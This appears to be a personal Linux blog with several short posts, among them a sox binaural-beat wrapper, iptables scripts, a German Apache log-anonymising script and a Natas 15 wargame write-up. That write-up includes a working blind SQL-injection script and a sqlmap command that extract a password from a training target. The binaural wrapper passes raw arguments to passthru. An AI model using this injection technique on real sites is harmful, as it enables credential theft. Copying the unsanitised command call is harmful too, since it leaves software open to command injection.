Create binaural beats on the fly on the linux command line

I was looking for a quick way to generate binaural beats on the fly from the Linux console.
The "play" command from the sox package makes things pretty easy.

This is my little wrapper script for "play":

#!/usr/bin/php
<?
# binaural - wrapper script to create binaural beats on the fly 

if (!$argv[1])
{
echo "Binaural beat generator\n";
echo "Usage: binaural basefreq offset length(s)\n\n";
exit;
}


$freq2 = $argv[1] + $argv[2];

$cmd = "play -n synth $argv[3] sin $argv[1] sin $freq2";
echo $cmd;
echo "\n\n”";
passthru($cmd);
?>

So for example if you want to generate a 5 minute binaural sound for the Schumann resonance (7.8HZ) with a base frequency of 120HZ, you would use:

binaural 120 7.8 300

A very comprehensive guide to the different frequencies can be found here:

Frequency List

Overthewire Wargame – Natas 15 [spoiler]

This is my solution for Natas 15 (http://overthewire.org/wargames/natas/natas15.html).
This has been my first time trying to do a blind SQL-injection so it took some time and reading to
finaly succeed. This very nice writeup tought me the technique i am using in my code: (http://sqlinjections.blogspot.de/2009/04/sql-injection-tutorial-by-marezzi-mysql.html)

Natas 15 was real fun. I learned a lot and I couldn't believe that I finaly made it work (after 6 hours or so) 😉

#!/usr/bin/php

function send_req($inject)
{
    
    $u = "natas15";
    $p = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J";
 
    $inject = urlencode($inject);

    $url = "http://$u:$p@natas15.natas.labs.overthewire.org/?username=$inject&debug=1";
    
    $data = file($url);
    
    $data = $data[13];
    if (str_replace("doesn't","",$data)!=$data)
    $success = 0;
    else
    $success = 1;
    
    return($success);  
}

function probe_offset($offset)
{
    $char = 47;

    while ($char < 130) { $inj = 'natas16" and ascii(substring((SELECT password from users where username="natas16"),' . $offset . ',1))>' . $char . '-- -';
    $res = send_req($inj);

    echo ".";
    if ($res == 0)
    {
    return(chr($char));
    } 
    $char ++;
    }

}

$pass = "";
$offset = 1;
while ($offset < 33)
{
$good = probe_offset($offset);
echo $good;
$offset++;
$pass .= $good;
}

echo "\n\n Here we go :) $pass  \n\n";

If you are lazy, you could have used sqlmap:

sqlmap -u natas15.natas.labs.overthewire.org/index.php?username=natas16 --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --auth-type=Basic --dbms=mysql --string=exists --level=3  --batch --current-db -T users -D natas15 -a

Simulating a bad connection / packet loss with iptables

This will randomly drop 60% of outgoing packages with a local process as source.
Use it for testing purposes or if you need a good laugh.

#!/bin/bash
iptables -A OUTPUT -m statistic --mode random --probability 0.6 -j DROP

Iptables revised

Just a backup of the updated iptables setup for my gateway box:

[CABLE MODEM] - [eth0 GATEWAY eth1] - [LAN SWITCH] - - - [CLIENTS]

Thanks to O'Reilly for this great book that helped me a lot: Linux iptables Pocket Reference

#!/bin/bash                                                                                                                                                   
                                                                                                                                                        
wan_nic=eth0                                                                                                                                
lan_nic=eth1                                                                                                                                 
lan_nic_ip=192.168.1.69                                                                                                                     
lan_network=192.168.1.0/24                                                                                                                                                                                                                                                                                    
# PORT MAPPING FUNCTION
MAP(){
iptables -A PREROUTING -t nat -i $wan_nic -p $1 --dport $2 -j DNAT --to $3:$4
echo "PORTMAP: Mapped a port. localhost:$2 ($1) -> $3:$4 [$5]"
}


# Del old rules
iptables -t filter -F
iptables -t nat -F
iptables -t mangle -F 
echo "Deleted old rules"

# Default Policies
#iptables -P PREROUTING ACCEPT
iptables -P FORWARD ACCEPT
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
#iptables -P POSTROUTING ACCEPT
echo "Set default policies"

# Enable NAT
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "Enabled ip_forward in kernel"

###### INPUT LOCAL

# FROM EVERYWHERE
iptables -A INPUT -p icmp -j ACCEPT

# FROM LOCAL TO LOCAL
iptables -A INPUT -i lo -j ACCEPT

# FROM LAN TO LOCAL

# Needed for DHCP clients (no ip yet so allow interface, not ip range)
iptables -A INPUT -i $lan_nic -j ACCEPT

# Allow LAN TO LOCAL
iptables -A INPUT -s $lan_network -j ACCEPT

# ALLOW PACKAGES SENT FROM GW TO WAN TO COME BACK
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# FROM WAN TO LOCAL
iptables -A INPUT ! -s $lan_network -j DROP

echo "Configured INPUT CHAIN"

###### OUTPUT LOCAL (done with default policy)
# FROM LOCAL TO LAN
# FROM LOCAL TO WAN
# FROM LOCAL TO LOCAL

###### FORWARD
# FORWARD FROM LAN TO WAN


# LOCK BAD CLIENTS IN LAN
#SONY TV
iptables -A FORWARD -s 192.168.1.20 -j DROP
#NETGEAR
iptables -A FORWARD -s 192.168.1.100 -j DROP
#DLINK
iptables -A FORWARD -s 192.168.1.101 -j DROP

echo "Configured FORWARD chain"


# FORWARD FROM WAN TO LAN

# NAT the LAN
/sbin/iptables -t nat -A POSTROUTING -o $wan_nic -j MASQUERADE

echo "Enabled MASQUERADEing"

# Don't forward unrelated packages from the outside
iptables -A FORWARD -i $wan_nic -m state --state INVALID -j DROP 

echo "DISABLED FORWARDING for connections from the outside"

# Portmappings from WAN to LAN
MAP tcp 80    192.168.1.2 80  SRV_HTTP




# FINALIZE

/etc/init.d/networking restart
echo
echo
dhclient -v eth0
echo 
echo
ping -c1 134.99.128.2
echo
echo
ping -c1 192.168.1.2

echo
echo 
echo "done"

IP-Adressen in Apache Logfiles anonymisieren mit PipedLogs

Ich hatte gestern eine Aufgabe, für die ich zunächst keine einfache Lösung gesehen habe: Ich wollte in den Apache-Logfiles die IP-Adressen anonymisieren. Also aus den geloggten IP-Adressen Teile entfernen um noch ein rudimentäres Logging der einzelnen Besucher zu haben, aber nicht mehr ihre kompletten IPs mitzuschreiben.

So sollte aus einer 212.122.113.145 eine ***.***.*13.145 werden.
Dies sollte - um möglichst grosse Sicherheit zu garantieren - nicht nachträglich geschehen, sondern live im Logvorgang des Apache.
Es sollten also niemals die kompletten IPs auf der Platte landen

Nach etwas Recherche bin ich auf eine mir bis dahin unbekannte Apache-Funktionalität gestossen: PipedLogs.

PipedLogs ermöglichen es in der Apachekonfiguration für einen VirtualHost nicht einen Logfile anzugeben sondern ein Skript festzulegen, das bei jedem Logvorgang gestartet wird und als Standardeingabe die Logzeile vom Apache erhält.

In der Config vom entsprechenden VirtualHost sieht das Ganze so aus:

LogFormat "%h %l %u %t \"%r\" %>s %b" common
CustomLog "|/root/scripts/anonymize_apache" common

Jeder Logentry wird somit durchgereicht an das Script /root/scripts/anonymize_apache

Der Rest ist nur noch eine Kleinigkeit mit der BASH:

#!/bin/bash

#/root/scripts/anonymize_apache

# Von Standardeingabe lesen
read logline

# Mit sed die gewünschten Teile der IP wegschnippseln
anon=$(echo $logline | sed -r 's/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]/***.***.*/g'  )

# Das Ergebnis anonymisiert ins Logfile zurückschreiben 
echo $anon  >> /var/log/apache2/myvirtualhost.anon.log

Edit: Habe nach dem Verfassen des Artikels ein Skript gefunden, das mehr Funktionalität bietet als mein Dreizeiler:
https://www.privacyfoundation.ch/de/service/anonip.html

LPIC 101 Lernvideos

Ich hatte schon seit ewigen Zeiten vor endlich mal LPIC2 zu machen. Die 201 habe ich bereits vor einigen Jahren bestanden und es bisher immer verklüngelt die 202 zu machen. Irgendwie hat man ja in seiner Freizeit (fast) immer was besseres zu tun 😉 Trotztdem dachte ich mir, dass es doch noch ein schönes Ziel für 2015 wäre, das Ganze endlich hinter mich zu bringen.

So weit so gut. Ich habe mich also bei LPI eingeloggt um mich für die 202 anzumelden und dabei mit Schrecken festgestellt, dass mein Level 1 vor 3 Monaten abgelaufen war. Meine Hoffnung war nun, dass ich die Prüfung 202 trotzdem ablegen kann, da ich 201 bereits besitze aber dem war leider nicht so.

"Sie müssen zunächst für Level 1 zertifiziert sein um Level 2 Prüfungen abzulegen". Verdammt! Immerhin ist kein erneutes Ablegen der 201 notwendig. Trotzdem war ich natürlich alles andere als begeistert mich noch einmal durch die 1 zu quälen.

Nach einigen Tagen des Haderns habe ich mich entschlossen noch einmal LPIC1 zu machen und das Ganze mit kommentierten Lernvideos zu begleiten. Deshalb heute nach meiner bestandenen 101-400 Prüfung auch meine erste Videoserie auf YouTube. Vielleicht hilft es jemandem, der gerade auch für die 101 lernt.

Meine LPIC 101 Videos gibt es hier: Lets Learn LPIC 101 deutsch - Youtube